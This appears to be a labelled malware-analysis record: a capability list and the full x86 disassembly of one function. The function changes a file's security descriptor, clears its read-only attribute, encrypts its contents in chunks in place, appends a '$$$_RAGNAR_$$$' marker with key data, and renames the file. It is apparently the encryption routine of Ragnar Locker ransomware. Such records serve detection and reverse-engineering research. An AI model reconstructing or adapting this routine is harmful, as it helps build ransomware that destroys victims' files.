Function at 0x4015d0
Capabilities:
Contain obfuscated stackstrings
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c0
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x58]
push esi
push edi
push eax
push 0
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 4
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_GetNamedSecurityInfoW]
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x44]
push 0x40c940
push 1
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
push 0
push dword [ebp - 0x48]
push 0
push dword [0x40c960]
push 0x80000005
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoW]
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
test al, 1
je 0x401658
and eax, 0xfffffffe
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push 0
push 0x10000080
push 3
push 0
push 2
push 0x40000005
push ebx
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x54], 1
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401a97
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
push 1
push 0
push 0x400
call fcn.00403b90
add esp, 0xc
push edx
push eax
push edx
push eax
call fcn.004091d0
mov esi, eax
mov ebx, edx
mov eax, dword [ebp - 0x14]
mov ecx, eax
mov edx, dword [ebp - 0x10]
or ecx, edx
mov dword [ebp - 8], ebx
jne 0x4016de
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x18
cmp edx, ebx
jg 0x401700
jl 0x4016e8
cmp eax, esi
ja 0x401700
mov ebx, eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x18], 1
mov dword [ebp - 8], 0
jmp 0x4017c8
mov ecx, ebx
mov eax, esi
shld ecx, eax, 2
mov edx, ebx
mov ebx, esi
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
adc edx, ecx
cmp dword [ebp - 0x10], edx
jg 0x401740
jl 0x401725
mov ebx, dword [ebp - 0x14]
cmp ebx, dword [ebp - 0x34]
jae 0x401743
mov ebx, esi
mov dword [ebp - 0x18], 1
mov esi, dword [ebp - 8]
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0
jmp 0x4017c5
mov ebx, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, edx
mov dword [ebp - 4], esi
shld ecx, eax, 2
shl eax, 2
add dword [ebp - 4], eax
mov eax, edx
adc eax, ecx
mov ecx, dword [ebp - 4]
shld eax, ecx, 2
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
shl ecx, 2
cmp eax, dword [ebp - 4]
jg 0x401794
jl 0x401776
cmp ebx, ecx
jae 0x401789
mov ebx, esi
mov dword [ebp - 0xc], edx
shld edx, esi, 1
add esi, esi
mov dword [ebp - 8], edx
mov dword [ebp - 0x18], esi
jmp 0x4017c5
cmp eax, dword [ebp - 4]
jl 0x4017b0
jg 0x401794
cmp ebx, ecx
jb 0x4017b0
mov eax, esi
mov dword [ebp - 0xc], edx
mov ecx, edx
mov ebx, esi
shld ecx, eax, 3
shl eax, 3
add esi, eax
mov dword [ebp - 0x18], esi
adc edx, ecx
mov dword [ebp - 8], edx
jmp 0x4017c5
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x40]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
push 0
sub eax, 0xf
mov dword [ebp - 0x2c], 0x5f242424
push 0
sbb edx, 0
mov dword [ebp - 0x28], 0x4e474152
push edx
push eax
push edi
mov dword [ebp - 0x24], 0x245f5241
mov word [ebp - 0x20], 0x2424
mov byte [ebp - 0x1e], 0
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0xf
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
mov dword [ebp - 0x60], esi
test esi, esi
je 0x401827
push 0
lea eax, [ebp - 0x5c]
push eax
push 0xf
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
lea eax, [ebp - 0x2c]
xor edx, edx
sub esi, eax
nop
lea ecx, [ebp - 0x2c]
add ecx, edx
mov al, byte [ecx + esi]
cmp al, byte [ecx]
jne 0x401847
inc edx
cmp edx, 0xf
jl 0x401830
jmp 0x401a82
push dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
lea ecx, [ebp - 0xb0]
xorps xmm0, xmm0
mov dword [ebp - 0x54], 0
push esi
movups xmmword [ebp - 0xb0], xmm0
movups xmmword [ebp - 0xa0], xmm0
movups xmmword [ebp - 0x90], xmm0
movups xmmword [ebp - 0x80], xmm0
call fcn.00403fb0
add esi, 0x20
je 0x4018de
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
mov dword [ebp - 0x8c], 0
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
mov dword [ebp - 0x90], 0
movzx eax, byte [esi]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 6]
mov dword [ebp - 0x98], ecx
movzx ecx, byte [esi + 7]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
or ecx, eax
mov dword [ebp - 0x94], ecx
push 4
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x401a82
push 0
push 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x38], xmm0
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
cmp dword [ebp - 8], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x50], xmm0
jl 0x401a00
mov esi, dword [ebp - 0x18]
jg 0x401931
test esi, esi
je 0x401a00
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x4c], eax
nop dword [eax]
or eax, ecx
jne 0x401954
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
jmp 0x401959
mov eax, dword [ebp - 0xc]
mov ecx, ebx
push 1
lea edx, [ebp - 0x40]
mov dword [ebp - 0x68], ecx
push edx
push eax
push ecx
push edi
mov dword [ebp - 0x64], eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x4019dc
push 0
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push dword [ebp - 0xc]
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0xb0]
push ebx
push eax
push eax
call fcn.00403c00
push 0
push ebx
push 0
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.DLL_LockFile]
push 0
lea eax, [ebp - 0x70]
push eax
push ebx
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
push ebx
push 0
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.DLL_UnlockFile]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x34]
add eax, ebx
mov dword [ebp - 0x4c], eax
adc ecx, dword [ebp - 0xc]
mov dword [ebp - 0x34], ecx
cmp ecx, dword [ebp - 8]
jl 0x401940
jg 0x401a00
cmp eax, esi
jb 0x401940
push 0x8000
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
push 0x10f
push 0
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_LockFile]
push 0
lea eax, [ebp - 0x30]
push eax
push 0x100
push dword [ebp + 0x18]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [ebp - 0x30]
push eax
push 0x100
push dword [ebp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [ebp - 0x30]
push eax
push 0xf
lea eax, [ebp - 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
push 0x10f
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_UnlockFile]
push dword [ebp - 0x60]
push 1
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov ebx, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp - 0x54], 0
jne 0x401ada
cmp dword [ebp + 0xc], 0
jne 0x401ada
push ebx
lea eax, [ebp - 0x4c0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40c840
lea eax, [ebp - 0x4c0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 3
lea eax, [ebp - 0x4c0]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_MoveFileExW]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x18